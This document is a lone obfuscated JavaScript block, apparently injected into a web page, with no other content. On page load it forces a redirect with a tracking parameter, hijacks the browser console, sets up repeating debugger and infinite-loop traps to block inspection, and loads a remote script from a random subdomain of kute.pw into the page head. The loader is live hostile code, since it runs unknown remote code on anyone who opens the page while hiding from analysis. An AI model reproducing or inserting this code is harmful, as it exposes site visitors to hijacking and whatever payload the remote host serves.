<script>var _0x36995d=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}();!function(){_0x36995d(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=_0x35126c("init");t.test(r+"chain")&&n.test(r+"input")?_0x35126c():r("0")})()}();var _0x45ad4f=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}(),_0x3456ff=_0x45ad4f(this,function(){for(var t=function(){var n;try{n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}return n}(),n=t.console=t.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var o=_0x45ad4f.constructor.prototype.bind(_0x45ad4f),c=r[e],u=n[c]||o;o.__proto__=_0x45ad4f.bind(_0x45ad4f),o.toString=u.toString.bind(u),n[c]=o}});_0x3456ff();var luynjogcoqjnqwtkdghlzaszvris="@!bcpGQu2C56qMwhEx&!@whqzI7anlgrpVZUPOEK3!@";-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=IPqyaEUSpdkocnrvWmHf#/ld-"+poiidgutzhmzycrvoklnmwbj),setInterval(function(){_0x35126c()},4e3);var emfromgetnbrtoo="",ZAtjqaCRyPXkKvfNBUsOupThlId=document.createElement("script");function _0x35126c(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}ZAtjqaCRyPXkKvfNBUsOupThlId.type="text/javascript",ZAtjqaCRyPXkKvfNBUsOupThlId.src="https://zjwsgrunofxmpsqrehtxajovkucq.kute.pw/662000c3e82efeb17bcd4fb5-6601787ee2f03f4870e09ca4.js",document.getElementsByTagName("head")[0].appendChild(ZAtjqaCRyPXkKvfNBUsOupThlId);</script>